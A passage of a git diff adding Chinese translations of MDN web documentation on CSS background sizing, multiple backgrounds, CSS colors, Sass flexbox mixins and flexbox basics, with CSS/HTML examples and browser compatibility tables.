FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown()}}{{CompatGeckoMobile("1.9.2")}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}1.0
+
diff --git a/files/zh-cn/conflicting/web/css/css_backgrounds_and_borders/resizing_background_images/index.html b/files/zh-cn/conflicting/web/css/css_backgrounds_and_borders/resizing_background_images/index.html new file mode 100644 index 0000000000..611a58af85 --- /dev/null +++ b/files/zh-cn/conflicting/web/css/css_backgrounds_and_borders/resizing_background_images/index.html @@ -0,0 +1,114 @@ +--- +title: 缩放背景图像 +slug: Web/Guide/CSS/Scaling_background_images +tags: + - Advanced + - CSS + - CSS Background + - Graphics + - Guide + - Web + - 背景图片 +translation_of: Web/CSS/CSS_Backgrounds_and_Borders/Resizing_background_images +translation_of_original: Web/CSS/CSS_Background_and_Borders/Scaling_background_images +--- +
{{cssref}}
+ +

CSS 的  {{ cssxref("background-size") }} 属性能调整背景图片的大小,从而替代了用原始大小显示图片的默认行为。你可以随意的缩放背景图。

+ +

拼一张大图

+ +

来考虑一张大图,一个1233*1233像素的火狐图标。我们想将这张图的四个副本拼到一个300*300像素的正方形里(出于某种原因,很可能是某个非常糟糕的网站设计),最终的效果如下:

+ +

screenshot1.png

+ +

用下面的 CSS 可以实现这种效果:

+ +
.square {
+  width: 300px;
+  height: 300px;
+  background-image: url(fxlogo.png);
+  border: solid 2px;
+  text-shadow: white 0px 0px 2px;
+  font-size: 16px;
+  background-size: 150px;
+} 
+ +
没必要再用带前缀的 background-size 了,尽管你可能考虑到要兼容一些非常老的浏览器版本,而用带前缀的写法。
+ +

拉伸图片

+ +

你可以同时指定图片纵向和横向的大小,如下:

+ +
background-size: 300px 150px;
+
+ +

结果会是这样的:
+ screenshot3.png

+ +

放大图片

+ +

另一方面,你可以在背景里放大一张图片。我们把 16*16px 的图标放大到 300*300px:

+ +

screenshot2.png

+ +
.square2 {
+  width: 300px;
+  height: 300px;
+  background-image: url(favicon.png);
+  background-size: 300px;
+  border: solid 2px;
+  text-shadow: white 0px 0px 2px;
+  font-size: 16px;
+}
+
+ +

正如你所看到的,CSS 的写法实际上是基本相同的。

+ +

特殊值:  "contain" 和 "cover"

+ +

除了{{cssxref("<length>")}} 值外,{{ cssxref("background-size") }} 还提供了另外两个特殊的尺寸值:contain 和 cover。

+ +

contain

+ +

contain 值指定可以不用考虑容器的大小,把图像扩展至最大尺寸,以使其宽度和高度完全适应内容区域在支持背景图缩放的浏览器(比如Firefox 3.6+)中,改变这个窗口的大小,来看看下方这个例子。

+ +
<div class="bgSizeContain">
+  <p>Try resizing this window.Right-click->This Frame->Open Frame in New Tab</p>
+</div>
+ +
.bgSizeContain {
+  height: 200px;
+  background-image: url(https://developer.mozilla.org/files/2917/fxlogo.png);
+  background-size: contain;
+  border: 2px solid darkgray;
+  color: #000; text-shadow: 1px 1px 0 #fff;
+}
+ +

{{ EmbedLiveSample("contain", "100%", "220") }}

+ +

cover

+ +

cover 属性指定背景图可以被调整到任意大小,以使背景图完全覆盖背景区域

+ +
<div class="bgSizeCover">
+  <p>Try resizing this window.Right-click->This Frame->Open Frame in New Tab</p>
+</div>
+ +
.bgSizeCover {
+  height: 200px;
+  background-image: url('/files/2917/fxlogo.png');
+  background-size: cover;
+  border: 2px solid darkgray;
+  color: #000;
+  text-shadow: 1px 1px 0 #fff;
+}
+ +

{{ EmbedLiveSample("cover", "100%", "220") }}

+ +

另请参阅

+ + diff --git a/files/zh-cn/conflicting/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html b/files/zh-cn/conflicting/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html new file mode 100644 index 0000000000..66cd1921d5 --- /dev/null +++ b/files/zh-cn/conflicting/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html @@ -0,0 +1,60 @@ +--- +title: 使用CSS的多背景 +slug: Web/CSS/CSS_Background_and_Borders/Using_CSS_multiple_backgrounds +tags: + - CSS + - CSS Background + - Example + - Guide + - Intermediate +translation_of: Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds +translation_of_original: Web/CSS/CSS_Background_and_Borders/Using_CSS_multiple_backgrounds +--- +

{{CSSRef}}

+ +

通过使用 CSS3,你可以向元素应用多个背景。这些背景相互堆叠,第一个背景放在最上面,最后一个背景放在最下面。 仅最后一个背景允许拥有背景色。

+ +

指定多个背景很简单:

+ +
.myclass {
+  background: background1, background 2, ..., backgroundN;
+}
+
+ +

你既可以使用简写属性 {{ cssxref("background") }} 来设置多个背景,也可以使用除 {{ cssxref("background-color") }} 外的独立属性来设置多个背景。即下面的属性可以用属性列表来设置每一个背景: {{ cssxref("background") }},{{ cssxref("background-attachment") }},{{ cssxref("background-clip") }}, {{ cssxref("background-image") }},{{ cssxref("background-origin") }},{{ cssxref("background-position") }}, {{ cssxref("background-repeat") }}, {{ cssxref("background-size") }}。

+ +

示例

+ +

该例中,三个背景进行堆叠:火狐标志,一个线性渐变, 和一张带有花的图片:

+ +
.multi_bg_example {
+  background: url(http://demos.hacks.mozilla.org/openweb/resources/images/logos/firefox-48.png),
+        linear-gradient(to right, rgba(255, 255, 255, 0),  rgba(255, 255, 255, 1)),
+        url(http://demos.hacks.mozilla.org/openweb/resources/images/patterns/flowers-pattern.jpg);
+  background-repeat: no-repeat, no-repeat, repeat;
+  background-position: bottom right, left, right;
+}
+
+ + + + + + + + + + +
结果
css_multibg.png
+ +

如你所见,火狐标志(列表第一项)在最上面,紧接着是放在图片上面的线性渐变。每个子属性 ({{ cssxref("background-repeat") }} 和 {{ cssxref("background-position") }}) 应用于对应的背景。因此属性 {{ cssxref("background-repeat") }} 的第一个值应用于第一个(最前面)的背景,依次可推。

+ +

其它

+ + + +
 
+ +
 
diff --git a/files/zh-cn/conflicting/web/css/css_color/index.html b/files/zh-cn/conflicting/web/css/css_color/index.html new file mode 100644 index 0000000000..60036fea2b --- /dev/null +++ b/files/zh-cn/conflicting/web/css/css_color/index.html @@ -0,0 +1,120 @@ +--- +title: CSS Colors +slug: Web/CSS/CSS_Colors +tags: + - CSS + - CSS Colors + - NeedsTranslation + - Overview + - Reference + - TopicStub +translation_of: Web/CSS/CSS_Color +translation_of_original: Web/CSS/CSS_Colors +--- +
{{CSSRef}}
+ +

CSS Colors 是 CSS 的一个模块,用于处理颜色、颜色类型和透明度。

+ +

参考 (Reference)

+ +

属性

+ +
+ +
+ +

CSS 数据类型

+ +

{{cssxref("<color>")}}

+ +

指南 (Guides)

+ +

None.

+ +

规范 (Specifications)

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Colors')}}{{Spec2('CSS3 Colors')}} 
{{SpecName('CSS2.1', 'colors.html')}}{{Spec2('CSS2.1')}} 
{{SpecName('CSS1')}}{{Spec2('CSS1')}}Initial definition
+ +

浏览器兼容性 (Browser compatibility)

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support1.0{{CompatGeckoDesktop("1")}}3.03.51.0
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support1.0{{CompatGeckoMobile("1")}}6.06.01.0
+
+ +

另请阅读

+ + diff --git a/files/zh-cn/conflicting/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html b/files/zh-cn/conflicting/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html new file mode 100644 index 0000000000..d2054bc725 --- /dev/null +++ b/files/zh-cn/conflicting/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html @@ -0,0 +1,408 @@ +--- +title: 使用弹性盒子进行高级布局 +slug: Web/CSS/CSS_Flexible_Box_Layout/Mixins +tags: + - CSS3布局模型 + - Flexible_Box + - Flexible_Box_Layout + - Layout + - 弹性盒子 + - 弹性盒子模型 +translation_of: Web/CSS/CSS_Flexible_Box_Layout/Mixins +--- +

使用弹性盒子的意义是在任何尺寸的屏幕上改变其和其子元素的尺寸填充屏幕可用空间。一个弹性框容器将延展它的子元素以填充可用空间,并且缩小它的子元素来避免溢出。

+ +

浮动布局的问题

+ + + +

弹性盒子如何处理

+ + + +

弹性盒子属性

+ +

placeholder

+ + + +

弹性容器属性

+ + + +

弹性元素属性

+ + + +

弹性盒子混合

+ +

对于希望在现代浏览器原生支持下使用弹性盒子的用户,这里有全部的支撑表格:http://caniuse.com/flexbox

+ +

将会使用:

+ + + +

启发于:

+ + + +

可以从这些地方获取帮助:

+ + + +

弹性容器

+ +

“flex”值会引起一个元素生成一个盒级的弹性盒子。

+ +

“inline-flex”会生成一个行内弹性盒子。

+ +

display: flex | inline-flex http://w3.org/tr/css3-flexbox/#flex-containers

+ +
+
@mixin flexbox {
+  display: -webkit-box;
+  display: -webkit-flex;
+  display: -moz-flex;
+  display: -ms-flexbox;
+  display: flex;
+}
+
+// 使用这样的混合模式
+%flexbox { @include flexbox; }
+
+ +
+
@mixin inline-flex {
+  display: -webkit-inline-box;
+  display: -webkit-inline-flex;
+  display: -moz-inline-flex;
+  display: -ms-inline-flexbox;
+  display: inline-flex;
+}
+
+%inline-flex { @include inline-flex; }
+
+ +

弹性盒子方向

+ +

“flex-direction”属性通过设置容器主轴来定义弹性元素如何在容器内排列。这个属性确定了弹性元素排列的方向。

+ +

值:row | row-reverse | column | column-reverse

+ +

http://w3.org/tr/css3-flexbox/#flex-direction-property

+ +
+
@mixin flex-direction($value: row) {
+  @if $value == row-reverse {
+    -webkit-box-direction: reverse;
+    -webkit-box-orient: horizontal;
+  } @else if $value == column {
+    -webkit-box-direction: normal;
+    -webkit-box-orient: vertical;
+  } @else if $value == column-reverse {
+    -webkit-box-direction: reverse;
+    -webkit-box-orient: vertical;
+  } @else {
+    -webkit-box-direction: normal;
+    -webkit-box-orient: horizontal;
+  }
+  -webkit-flex-direction: $value;
+  -moz-flex-direction: $value;
+  -ms-flex-direction: $value;
+  flex-direction: $value;
+}
+
+// 简短版本:
+@mixin flex-dir($args...) { @include flex-direction($args...); }
+
+ +

弹性盒子换行

+ +

“flex-wrap”属性控制了容器为单行还是多行。并且定义了侧轴的方向,新行将沿侧轴方向堆砌。

+ +

值:nowrap | wrap | wrap-reverse

+ +

默认:nowrap

+ +

http://w3.org/tr/css3-flexbox/#flex-wrap-property

+ +
+
@mixin flex-wrap($value: nowrap) {
+  // No Webkit Box fallback.
+  -webkit-flex-wrap: $value;
+  -moz-flex-wrap: $value;
+  @if $value == nowrap {
+    -ms-flex-wrap: none;
+  } @else {
+    -ms-flex-wrap: $value;
+  }
+  flex-wrap: $value;
+}
+
+ +

弹性盒子流(简写)

+ +

“flex-flow”属性是设置“flex-direction”和“flex-wrap”的简写,可以同时定义主轴和侧轴。

+ +

默认值:row nowrap

+ +

http://w3.org/tr/css3-flexbox/#flex-flow-property

+ +
+
@mixin flex-flow($values: (row nowrap)) {
+  // No Webkit Box fallback.
+  -webkit-flex-flow: $values;
+  -moz-flex-flow: $values;
+  -ms-flex-flow: $values;
+  flex-flow: $values;
+}
+
+ +

弹性盒子顺序

+ +

“order”属性通过将这些元素分配到序数分组来控制它们出现的顺序。

+ +

默认值:0

+ +

http://w3.org/tr/css3-flexbox/#order-property

+ +
+
@mixin order($int: 0) {
+  -webkit-box-ordinal-group: $int + 1;
+  -webkit-order: $int;
+  -moz-order: $int;
+  -ms-flex-order: $int;
+  order: $int;
+}
+
+ +

弹性盒子增长

+ +

“flex-grow”属性设置增长因数,不接受负值。

+ +

默认值:0

+ +

http://w3.org/tr/css3-flexbox/#flex-grow-property

+ +
+
@mixin flex-grow($int: 0) {
+  -webkit-box-flex: $int;
+  -webkit-flex-grow: $int;
+  -moz-flex-grow: $int;
+  -ms-flex-positive: $int;
+  flex-grow: $int;
+}
+
+ +

弹性盒子收缩

+ +

“flex-shrink”属性设置了收缩因数,不接受负值。

+ +

默认值:1

+ +

http://w3.org/tr/css3-flexbox/#flex-shrink-property

+ +
+
@mixin flex-shrink($int: 1) {
+  -webkit-flex-shrink: $int;
+  -moz-flex-shrink: $int;
+  -ms-flex-negative: $int;
+  flex-shrink: $int;
+}
+
+ +

弹性盒子伸缩

+ +

“flex-basis”属性设置了弹性框伸缩的基准值,不接受负值。

+ +

值:类似“width”,默认值:auto

+ +

http://www.w3.org/TR/css3-flexbox/#flex-basis-property

+ +
+
@mixin flex-basis($value: auto) {
+  -webkit-flex-basis: $value;
+  -moz-flex-basis: $value;
+  -ms-flex-preferred-size: $value;
+  flex-basis: $value;
+}
+
+ +

弹性盒子“Flex”属性(简写)

+ +

flex”属性设置了弹性盒子长度的组成,包括增长因数、收缩因数和伸缩基准值。对于一个弹性元素,“flex”属性会被用来设置元素的尺寸,对于一个非弹性元素,该属性无效。

+ +

值:none | ||

+ +

默认值:见独立属性(1 1 0)

+ +

http://w3.org/tr/css3-flexbox/#flex-property

+ +
+
@mixin flex($fg: 1, $fs: null, $fb: null) {
+
+  // Set a variable to be used by box-flex properties
+  $fg-boxflex: $fg;
+
+  // Box-Flex only supports a flex-grow value so lets grab the
+  // first item in the list and just return that.
+  @if type-of($fg) == 'list' {
+    $fg-boxflex: nth($fg, 1);
+  }
+
+  -webkit-box-flex: $fg-boxflex;
+  -webkit-flex: $fg $fs $fb;
+  -moz-box-flex: $fg-boxflex;
+  -moz-flex: $fg $fs $fb;
+  -ms-flex: $fg $fs $fb;
+  flex: $fg $fs $fb;
+}
+
+ +

弹性盒子对齐方式

+ +

“justify-content”属性将弹性元素沿容器主轴方向对齐。当所有弹性元素的长度和边距都设置好之后,布局完成。一般情况下,当行内所有弹性元素尺寸不可变或可变且达到最大尺寸的情况下,该属性会分配剩余可用空间。同时,当元素溢出行的时候,它也会对其排列做出控制。

+ +

提示:以前版本的语法不支持“space-*”值。

+ +

值:flex-start | flex-end | center | space-between | space-around 默认值:flex-start

+ +

http://w3.org/tr/css3-flexbox/#justify-content-property

+ +
+
@mixin justify-content($value: flex-start) {
+  @if $value == flex-start {
+    -webkit-box-pack: start;
+    -ms-flex-pack: start;
+  } @else if $value == flex-end {
+    -webkit-box-pack: end;
+    -ms-flex-pack: end;
+  } @else if $value == space-between {
+    -webkit-box-pack: justify;
+    -ms-flex-pack: justify;
+  } @else if $value == space-around {
+    -ms-flex-pack: distribute;
+  } @else {
+    -webkit-box-pack: $value;
+    -ms-flex-pack: $value;
+  }
+  -webkit-justify-content: $value;
+  -moz-justify-content: $value;
+  justify-content: $value;
+}
+  // Shorter version:
+  @mixin flex-just($args...) { @include justify-content($args...); }
+
+ +

弹性元素对齐

+ +

可以设置弹性元素在容器侧轴上的对齐方式,与“justify-content”功能相似但是方向垂直。“align-items”设置弹性盒子的所有子元素的对齐方式,包括匿名弹性元素。元素可以通过单独设置“align-self”来覆盖该属性。(对于匿名弹性元素,“align-self'”属性总是与“align-items”相同。)

+ +

值:flex-start | flex-end | center | baseline | stretch 默认值:stretch

+ +

http://w3.org/tr/css3-flexbox/#align-items-property

+ +
+
@mixin align-items($value: stretch) {
+  @if $value == flex-start {
+    -webkit-box-align: start;
+    -ms-flex-align: start;
+  } @else if $value == flex-end {
+    -webkit-box-align: end;
+    -ms-flex-align: end;
+  } @else {
+    -webkit-box-align: $value;
+    -ms-flex-align: $value;
+  }
+  -webkit-align-items: $value;
+  -moz-align-items: $value;
+  align-items: $value;
+}
+
+ +

弹性元素自对齐

+ +

用来单独设置弹性元素在侧轴的对齐方式,功能与“align-items”相同。可以覆盖“align-items”属性。

+ +

值:auto | flex-start | flex-end | center | baseline | stretch 默认值:auto

+ +
+
@mixin align-self($value: auto) {
+  // No Webkit Box Fallback.
+  -webkit-align-self: $value;
+  -moz-align-self: $value;
+  @if $value == flex-start {
+    -ms-flex-item-align: start;
+  } @else if $value == flex-end {
+    -ms-flex-item-align: end;
+  } @else {
+    -ms-flex-item-align: $value;
+  }
+  align-self: $value;
+}
+
+ +

弹性元素内容对齐

+ +

“align-content”属性设置了容器内每行沿侧轴的对齐方式。与“justify-content”属性在主轴方向对齐单独元素的方式相似。如果容器内只有一行,该属性无效。

+ +

值:flex-start | flex-end | center | space-between | space-around | stretch 默认值:stretch

+ +

http://w3.org/tr/css3-flexbox/#align-content-property

+ +
+
@mixin align-content($value: stretch) {
+  // No Webkit Box Fallback.
+  -webkit-align-content: $value;
+  -moz-align-content: $value;
+  @if $value == flex-start {
+    -ms-flex-line-pack: start;
+  } @else if $value == flex-end {
+    -ms-flex-line-pack: end;
+  } @else {
+    -ms-flex-line-pack: $value;
+  }
+  align-content: $value;
+}
+
diff --git a/files/zh-cn/conflicting/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html b/files/zh-cn/conflicting/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html new file mode 100644 index 0000000000..d50cf7582f --- /dev/null +++ b/files/zh-cn/conflicting/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html @@ -0,0 +1,408 @@ +--- +title: 使用 CSS 弹性盒子 +slug: Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes +tags: + - CSS + - CSS Flexible Boxes + - Flex + - Web + - flexbox + - 弹性 + - 弹性容器 + - 弹性盒子 + - 弹性项目 + - 指南 + - 盒子模型 + - 范例 + - 进阶 +translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox +translation_of_original: Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes +--- +
{{CSSRef}}
+ +

CSS3 弹性盒子(Flexible BoxFlexbox),是一种用于在页面上布置元素的布局模式使得当页面布局必须适应不同的屏幕尺寸和不同的显示设备时,元素可预测地运行。对于许多应用程序,弹性盒子模型提供了对块模型的改进,因为它不使用浮动,flex容器的边缘也不会与其内容的边缘折叠。

+ +

许多设计师会发现弹性盒子模型更易于使用。弹性盒子中的子元素可以在各个方向上进行布局,并且能以弹性尺寸来适应显示空间。由于元素的显示顺序可以与它们在源代码中的顺序无关,定位子元素将变得更容易,并且能够用更简单清晰的代码来完成复杂的布局。这种无关性是仅限制于视觉呈现上的,语言顺序以及基于源代码顺序的导航均不受影响。

+ +
注意: 虽然 CSS 弹性盒子布局规范 还处于最终征求意见稿 (Last Call Working Draft)阶段(参见最新编辑草案),并非所有浏览器都实现了弹性盒子的所有功能。但,这么说吧,现在全线产品对弹性盒子都有良好支持。最新的兼容性状况可以查看每个具体属性的兼容性表格获取。
+ +

弹性盒布局概念

+ +

在定义方面来说,弹性布局是指通过调整其内元素的宽高,从而在任何显示设备上实现对可用显示空间最佳填充的能力。弹性容器扩展其内元素来填充可用空间,或将其收缩来避免溢出。

+ +

块级布局更侧重于垂直方向、行内布局更侧重于水平方向,与此相对的,弹性盒子布局算法是方向无关的。虽然块级布局对于单独一个页面来说是行之有效的,但其仍缺乏足够的定义来支持那些必须随用户代理(user agent)不同或设备方向从水平转为垂直等各种变化而变换方向、调整大小、拉伸、收缩的应用程序组件。 弹性盒子布局主要适用于应用程序的组件及小规模的布局,而(新兴的)栅格布局则针对大规模的布局。这二者都是 CSS 工作组为在不同用户代理、不同书写模式和其他灵活性要求下的网页应用程序有更好的互操作性而做出的更广泛的努力的一部分。

+ +

弹性盒布局相关词汇

+ +

关于弹性盒子的讨论已经从诸如水平/行内轴和垂直/块级轴这些术语中解放出来,与此同时,需要有一套新的术语来正确描述此模型。在学习下面的词汇项目时请对照下图。图中是一个 flex-direction 属性为 row的弹性容器,意味着其内的弹性项目将根据既定书写模式沿主轴水平排列,其方向为元素的文本流方向,在这个例子里,为从左到右。

+ +

弹性布局相关名词

+ +
+
弹性容器(Flex container)
+
包含着弹性项目的父元素。通过设置 {{Cssxref("display")}} 属性的值为 flexinline-flex 来定义弹性容器。
+
弹性项目(Flex item)
+
+

弹性容器的每个子元素都称为弹性项目。弹性容器直接包含的文本将被包覆成匿名弹性单元。

+
+
轴(Axis)
+
+

每个弹性框布局包含两个轴。弹性项目沿其依次排列的那根轴称为主轴(main axis)。垂直于主轴的那根轴称为侧轴(cross axis)

+ +
    +
  • flex-direction 确立主轴。
  • +
  • justify-content 定义了在当前行上,弹性项目沿主轴如何排布。
  • +
  • align-items 定义了在当前行上,弹性项目沿侧轴默认如何排布。
  • +
  • align-self 定义了单个弹性项目在侧轴上应当如何对齐,这个定义会覆盖由 align-items 所确立的默认值。
  • +
+
+
方向(Direction)
+
+

弹性容器的主轴起点(main start)/主轴终点(main end)侧轴起点(cross start)/侧轴终点(cross end)描述了弹性项目排布的起点与终点。它们具体取决于弹性容器的主轴与侧轴中,由 writing-mode 确立的方向(从左到右、从右到左,等等)。

+ +
    +
  • order 属性将元素与序号关联起来,以此决定哪些元素先出现。
  • +
  • flex-flow 属性是 flex-directionflex-wrap 属性的简写,决定弹性项目如何排布。
  • +
+
+
行(Line)
+
+

根据 flex-wrap 属性,弹性项目可以排布在单个行或者多个行中。此属性控制侧轴的方向和新行排列的方向。

+
+
尺寸(Dimension)
+
+

根据弹性容器的主轴与侧轴,弹性项目的宽和高中,对应主轴的称为主轴尺寸(main size) ,对应侧轴的称为 侧轴尺寸(cross size)

+ + +
+
+ +

定义一个弹性盒子

+ +

为要使用此样式的元素指派 CSS,需按以下方式设置 display 属性:

+ +
display : flex
+ +

或者

+ +
display : inline-flex
+ +

这样做将元素定义为弹性容器,其子元素则成为弹性项目。值 flex 使弹性容器成为块级元素。值 inline-flex 使弹性容器成为单个不可分的行内级元素。

+ +
注意:厂商前缀标记会附加给 display 属性值,而不是加给 display 属性本身。例如:display : -webkit-flex
+ +

弹性项目须知

+ +

弹性容器直接包含的文本将自动包覆成匿名弹性项目。不过,一个只包含一系列空白符(如一堆空格或制表符等)的匿名弹性项目不会被渲染,就如同对其指派 display: none

+ +

对于弹性容器的绝对定位子元素来说,其静态位置参照弹性容器的内容框的主起始角确定,而后依此完成此元素的定位。

+ +

相邻的弹性元素其外边距不会互相合并。使用 auto 外边距可以吸收掉水平或垂直方向上的额外空间,这可以用于对齐或分隔相邻的弹性项目。更多细节请参考 W3C 弹性框布局模型规范中的 Aligning with 'auto' margins

+ +

不像 CSS 中的其他对齐方法,弹性框的对齐属性将进行“真正的”居中对齐。这意味着即使弹性条目溢出了弹性容器,它依然保持居中。不过这在某些时候可能会有问题。如果溢出超过了页面的上边缘或左边缘(在从左到右的语言中,比如英语;在诸如阿拉伯语这样从右到左的语言中这个问题更会出现在右边缘),则虽然那些地方确实有内容,却无法滚动到那些位置。在未来的发布版本里,对齐属性将会有所扩展,使其包含有“安全”选项。目前,如果操心这点,可以改用外边距来达成居中效果,因为外边距会用比较“安全”的方式来响应变化,出现溢出时将停止居中。对这种需要居中的弹性项目,不使用 align- 属性,而使用自动外边距就能解决这个问题。对弹性容器中第一个和最后一个弹性项目的外侧边缘应用,也可以使用自动外边距来替代 justify- 属性。自动外边距会自动伸缩来占满剩余空间,当有剩余空间存在时弹性项目将会居中,如果没有则切换至常规对齐方式。不过很不幸,如果尝试在多行的弹性框中用基于外边距的居中方法来替代 justify-content,就必须对每一行的第一个和最后一个弹性项目应用外边距。此时除非能够事先预测每一行都结束于哪个元素,否则就不能愉快的在主轴方向上用基于外边距的居中方法来替代 justify-content 属性了。

+ +

再强调一遍,元素的显示顺序与它们在源代码中的顺序无关,这种无关性只影响视觉呈现,语音顺序以及基于源代码顺序的导航均不受影响。{{cssxref("order")}} 属性并不影响语音和导航的次序。因此开发者们必须小心,合理地安排元素在源代码中的顺序,以免破坏文档的可访问性。

+ +

弹性盒子相关属性

+ +

不影响弹性盒子的属性

+ +

由于弹性盒子使用了不同的布局算法,某些属性用在弹性容器上没有意义:

+ + + +

示例

+ +

基本的弹性布局示例

+ +

这个基本的示例展示了如何对元素应用弹性布局,以及在弹性布局状态下相邻元素的行为方式。

+ +
<!DOCTYPE html>
+<html lang="en">
+  <head>
+    <style>
+
+   .flex
+   {
+      /* 基本样式 */
+      width: 350px;
+      height: 200px;
+      border: 1px solid #555;
+      font: 14px Arial;
+
+      /*  建立弹性框 */
+      display: -webkit-flex;
+      -webkit-flex-direction: row;
+
+      display: flex;
+      flex-direction: row;
+   }
+
+   .flex > div
+   {
+      -webkit-flex: 1 1 auto;
+      flex: 1 1 auto;
+
+      width: 30px; /* 让过渡表现良好。(从/到"width:auto"的过渡
+                      至少在 Gecko 和 Webkit 上是有 bug 的。
+                      更多信息参见 http://bugzil.la/731886 ) */
+
+      -webkit-transition: width 0.7s ease-out;
+      transition: width 0.7s ease-out;
+   }
+
+   /* colors */
+   .flex > div:nth-child(1){ background : #009246; }
+   .flex > div:nth-child(2){ background : #F1F2F1; }
+   .flex > div:nth-child(3){ background : #CE2B37; }
+
+   .flex > div:hover
+   {
+        width: 200px;
+   }
+
+   </style>
+
+ </head>
+ <body>
+  <p>Flexbox nuovo</p>
+  <div class="flex">
+    <div>uno</div>
+    <div>due</div>
+    <div>tre</div>
+  </div>
+ </body>
+</html>
+ +

圣杯布局示例

+ +

此示例展示了弹性盒子根据不同屏幕分辨率动态改变布局的能力。下图说明了这种转换。

+ +

HolyGrailLayout.png

+ +

这里展示的正是针对浏览器窗口的页面布局必须为智能手机窗口优化的场景。不仅元素的尺寸需要缩减,其呈现顺序也需要改变。弹性盒子让这变得很简单。

+ +
<!DOCTYPE html>
+<html lang="en">
+  <head>
+    <style>
+
+  body {
+   font: 24px Helvetica;
+   background: #999999;
+  }
+
+  #main {
+   min-height: 800px;
+   margin: 0px;
+   padding: 0px;
+   display: -webkit-flex;
+   display:         flex;
+   -webkit-flex-flow: row;
+           flex-flow: row;
+   }
+
+  #main > article {
+   margin: 4px;
+   padding: 5px;
+   border: 1px solid #cccc33;
+   border-radius: 7pt;
+   background: #dddd88;
+   -webkit-flex: 3 1 60%;
+           flex: 3 1 60%;
+   -webkit-order: 2;
+           order: 2;
+   }
+
+  #main > nav {
+   margin: 4px;
+   padding: 5px;
+   border: 1px solid #8888bb;
+   border-radius: 7pt;
+   background: #ccccff;
+   -webkit-flex: 1 6 20%;
+           flex: 1 6 20%;
+   -webkit-order: 1;
+           order: 1;
+   }
+
+  #main > aside {
+   margin: 4px;
+   padding: 5px;
+   border: 1px solid #8888bb;
+   border-radius: 7pt;
+   background: #ccccff;
+   -webkit-flex: 1 6 20%;
+           flex: 1 6 20%;
+   -webkit-order: 3;
+           order: 3;
+   }
+
+  header, footer {
+   display: block;
+   margin: 4px;
+   padding: 5px;
+   min-height: 100px;
+   border: 1px solid #eebb55;
+   border-radius: 7pt;
+   background: #ffeebb;
+   }
+
+  /* 窄到已不足以支持三栏 */
+  @media all and (max-width: 640px) {
+
+   #main, #page {
+    -webkit-flex-flow: column;
+            flex-direction: column;
+   }
+
+   #main > article, #main > nav, #main > aside {
+    /* 恢复到文档内的自然顺序 */
+    -webkit-order: 0;
+            order: 0;
+   }
+
+   #main > nav, #main > aside, header, footer {
+    min-height: 50px;
+    max-height: 50px;
+   }
+  }
+
+ </style>
+  </head>
+  <body>
+ <header>header</header>
+ <div id='main'>
+    <article>article</article>
+    <nav>nav</nav>
+    <aside>aside</aside>
+ </div>
+ <footer>footer</footer>
+  </body>
+</html>
+ +

试验场地

+ +

有几个在线弹性盒子试验场地可供进行各种实验:

+ + + +

务必牢记

+ +

描述弹性项目如何排布的算法有时会极其棘手。在使用弹性盒子进行设计时,请考虑以下几点,以免碰到不好的意料外状况。

+ +

弹性盒子的排布与书写模式是一致的,这意味着排布的主轴起点主轴终点根据的是开始结束的位置。

+ +

侧轴起点侧轴终点依赖于开始前面(before)的位置定义,而这个“前面”依赖于 direction 的值。

+ +

只要 break- 属性的设置值允许,在弹性框布局中是可以存在分页的。CSS3 中的 break-afterbreak-beforebreak-inside,以及 CSS 2.1 中的 page-break-beforepage-break-afterpage-break-inside 属性在弹性容器上、弹性项目上和弹性项目内均可以使用。

+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
特性Firefox (Gecko)ChromeInternet ExplorerOperaSafari
基础支持(单行弹性框){{CompatGeckoDesktop("18.0")}}[6]{{property_prefix("-moz")}}[2]
+ {{CompatGeckoDesktop("22.0")}}
21.0{{property_prefix("-webkit")}}
+ 29.0
11[3]12.10{{property_prefix("-webkit")}}[5]6.1{{property_prefix("-webkit")}}[1]
多行弹性框{{CompatGeckoDesktop("28.0")}}21.0{{property_prefix("-webkit")}}
+ 29.0
11[3]12.10[5]
+ 15 {{property_prefix("-webkit")}}
6.1{{property_prefix("-webkit")}}[1]
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
特性Firefox Mobile (Gecko)Firefox OSAndroidIE PhoneOpera MobileSafari Mobile
基础支持(单行弹性框){{CompatGeckoMobile("18.0")}}{{property_prefix("-moz")}}[2]
+ {{CompatGeckoMobile("22.0")}}
+

1.0{{property_prefix("-moz")}}[2]
+ 1.1

+
2.1{{property_prefix("-webkit")}}[4]
+ 4.4
1112.10[5]
+ 15{{property_prefix("-webkit")}}
7{{property_prefix("-webkit")}}[1]
多行弹性框{{CompatGeckoMobile("28.0")}}1.32.1{{property_prefix("-webkit")}}[4]
+ 4.4
1112.10[5]
+ 15{{property_prefix("-webkit")}}
7{{property_prefix("-webkit")}}[1]
+
+ +

[1] Safari 在版本 6.0 (iOS.1)以前支持的是规范的一个与现有版本不兼容的旧版草案。Safari 6.1(以及 iOS 7 上的 Safari)已更新为支持最终版本。

+ +

